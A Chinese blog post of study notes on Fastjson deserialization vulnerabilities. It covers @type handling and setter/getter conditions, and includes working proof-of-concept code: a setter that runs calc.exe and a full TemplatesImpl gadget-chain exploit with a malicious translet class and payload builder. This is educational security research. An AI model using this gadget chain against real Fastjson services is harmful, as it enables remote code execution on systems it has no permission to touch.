Java安全初探_FastJson学习笔记

一些有关FastJson的学习笔记

只做简单记录,具体参考这两位师傅的文章:

1

2

学习视频:

3

简介

Fastjson提供两个主要接口来分别实现序列化和反序列化操作:

JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。

JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象,反序列化的过程

用法示例:

1
String jsonString = JSON.toJSONString(student);
  • JSON.toJSONString 是 Fastjson 库中用于将 Java 对象转换为 JSON 字符串的方法。
  • student 是要转换为 JSON 字符串的 Java 对象。

序列化

比如对于如下Javabean类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//User.java
package MyJson;

public class User {
private String name;
private int id;

public User(){
System.out.println("无参构造");
}

public User(String name, int id) {
System.out.println("有参构造");
this.name = name;
this.id = id;
}

@Override
public String toString() {
System.out.println("调用了toString!");
return "User{" +
"name='" + name + '\'' +
", id=" + id +
'}';
}

public String getName() {
System.out.print("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getId() {
System.out.println("getId");
return id;
}

public void setId(int id) {
System.out.println("setId");
this.id = id;
}
}
//UserSer.java
public class UserSer {
public static void main(String[] args) {
User user = new User();
user.setName("abc");
user.setId(6);
String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);
}
}

fastjson3

但是这里转化的字符串只有属性的值,无法区分是哪个类进行了序列化转化的字符串,这里就有了在JSON.toJSONString的第二个参数SerializerFeature.WriteClassName写下这个类的名字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//UserSer.java
package MyJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class UserSer {
public static void main(String[] args) {
User user = new User();
user.setName("abc");
user.setId(6);
String jsonString = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(jsonString);
}
}

fastjson2

SerializerFeature.WriteClassName 是 Fastjson 序列化特性,它表示在生成的 JSON 字符串中包含类名信息。设置之后在序列化的时候会多写入一个@type,标识的是这个字符串是由某个类序列化而来,并且调用其 getter/setter/is 方法。

反序列化

将 json 数据反序列化时常使用的方法为parse()parseObject()

  • parse() 方法用于将 JSON 字符串转换为单个的 Java 对象。

  • 返回的是一个泛型对象,你需要手动进行类型转换为你期望的对象类型。

  • 如果 JSON 字符串中包含了多个对象,则只会解析第一个对象,并忽略其他对象。

  • 示例:

    1
    JSONObject jsonObject = JSON.parse(jsonString);
  • parseObject() 方法用于将 JSON 字符串转换为指定类型的 Java 对象。

  • 可以指定要转换的目标对象的类,Fastjson 将尝试将 JSON 字符串映射到该类的对象实例。

  • 返回的是指定类型的 Java 对象。

  • 如果 JSON 字符串中包含多个对象,则只解析第一个对象,并将其映射到指定类型的对象实例中。

  • 示例:

    1
    Student student = JSON.parseObject(jsonString, Student.class);

eg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package MyJson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import MyJson.User;
import java.lang.reflect.Type;
public class FastjsonTest {
public static void main(String[] args) {
String json = "{\"@type\":\"MyJson.User\",\"id\":3,\"name\":\"lihua\"}";
System.out.println(JSON.parseObject(json));
System.out.println(JSON.parse(json));
}
}

fastjson4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package MyJson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import MyJson.User;
import java.lang.reflect.Type;
public class FastjsonTest {
public static void main(String[] args) {
String json = "{\"@type\":\"MyJson.User\",\"id\":3,\"name\":\"lihua\"}";
System.out.println(JSON.parseObject(json,User.class));
System.out.println(JSON.parse(json));
}
}

fastjson5

在使用JSON.parseObject方法的时候只有在第二个参数指定是哪个类才会反序列化成功。

上面的json都存在type关键字指定类,如果没这个type的话:

1
2
3
4
5
6
7
8
9
10
public class FastjsonTest {
public static void main(String[] args) {

String json2 = "{\"id\":3,\"name\":\"lihua\"}";
System.out.println(JSON.parseObject(json2, User.class));
System.out.println(JSON.parseObject(json2));
System.out.println(JSON.parse(json2));

}
}

fastjson6

所以预期的反序列化语句写法:

1
2
3
String jsonString ="{\"@type\":\"Student\",\"age\":6," +  
"\"name\":\"Drunkbaby\",\"address\":\"china\",\"properties\":{}}";
Object obj = JSON.parseObject(jsonString, Student.class);

要用 parseObject,里面的参数需要是 Object.class

利用方法

  • @type 指定类
  • 使用JSON.parse方法反序列化会调用此类的set方法
  • 使用JSON.parseObject方法反序列化会调用此类特定的get和set方法
  • 可以写一个恶意类,然后通过这一特性实现命令执行

注意不是所有的setter/getter方法

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

一般的,Fastjson反序列化漏洞的PoC写法如下,@type指定了反序列化得到的类

1
2
3
4
5
{
"@type":"xxx.xxx.xxx",
"xxx":"xxx",
...
}

关键是要找出一个特殊的在目标环境中已存在的类,满足如下两个条件:

  1. 该类的构造函数、setter方法、getter方法中的某一个存在危险操作,比如造成命令执行;
  2. 可以控制该漏洞函数的变量(一般就是该类的属性);

利用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//User.java
eption;

public class User {
private String name;
private int id;

public User(){
System.out.println("无参构造");
}

public User(String name, int id) {
System.out.println("有参构造");
this.name = name;
this.id = id;
}

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", id=" + id +
'}';
}

public String getName() {
System.out.print("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getId() {
System.out.println("getId");
return id;

}

public void setId(int id) throws IOException {
System.out.println("setId");
this.id = id;
Runtime.getRuntime().exec("calc.exe");
}

EXP.java

1
2
3
4
5
6
7
8
9
10
11
package MyJson;

import com.alibaba.fastjson.JSON;


public class EXP1{
public static void main(String[] args) {
String json = "{\"@type\":\"MyJson.User\",\"id\":3,\"name\":\"lihua\"}";
System.out.println(JSON.parseObject(json,User.class));
}
}

fastjson7

这里如果把setId方法增加一个参数/修改返回值类型为int都无法进行命令执行。

我们的 PoC 是把恶意代码放到一个 json 格式的字符串里面,开头是要接 @type 的。这里其实赋值就代表我们不需要通过反射来修改值,而是可以直接赋值。

@type 之后是我们要去进行反序列化的类,会获取它的构造函数、getter 与 setter 方法。

所以我们首先是要找这个反序列化类的构造函数、 getter,setter 方法有问题的地方。

和原生反序列化相同和不同的点:

  • 不需要实现Serializable
  • 变量可以是transient,但变量得有对应的setter或者是public/满足条件的getter
  • 原生的入口点得是readObjectfastJsonsetter/getter
  • 最后执行点都得通过反射或者动态类加载

基于 TemplatesImpl 的利用链

CC3 链利用TemplatesImpl 加载字节码进行命令执行,漏洞的终点在于调用了 .newInstance() 方法。回看会发现漏洞点的地方实际上是一个 getter 方法:

TemplatesImplGetter

所以可TemplatesImpl 中的这个getter是满足利用条件的。在构造 EXP 之前,先分析一下参数:

  • 先看 TemplatesImpl 类中的 getTransletInstance() 方法。这里可以直接参考 CC3链子的构造。getTransletInstance

_name 不可以为 null,需要 _class 为 null,这样进入到 defineTransletClasses 这个方法里面。所以 _class 可以不用写,或者写为 null。_tfactory 也不能为 null,_bytecodes 是恶意字节码。具体可以参考CC3 的分析文章。现在形成的payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";

"

{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Drunkbaby',
'_tfactory':{ },

";

主要目标就是调用这个getter方法,但注意这个方法并不满足第三个利用条件:

返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

所以要继续寻找其它getter/setter方法,找谁调用了 getTransletInstance()newTransformer() 方法调用了 getTransletInstance() 方法

fastjson9

getOutputProperties() 调用了 newTransformer()

fastjson11

看下这个getOutputProperties()方法的返回值:

fastjson8

Properties 即继承自 Hashtable,这东西是Map类型的,符合要求。

利用链:

1
2
getOutputProperties()  ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties,  
_indentNumber, _tfactory);

首先创建Clac.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Clac extends AbstractTranslet {
public Clac() {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}

}
}

利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package MyJson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import com.sun.rowset.JdbcRowSetImpl;

// TemplatesImpl 链子的 EXP
public class LastEXP {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}

public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "E:\\Clac.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text1);

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

JdbcRowSetImpl


Java安全初探_FastJson学习笔记
http://example.com/2024/04/27/FastJson学习笔记/
作者
notbad3
发布于
2024年4月27日
许可协议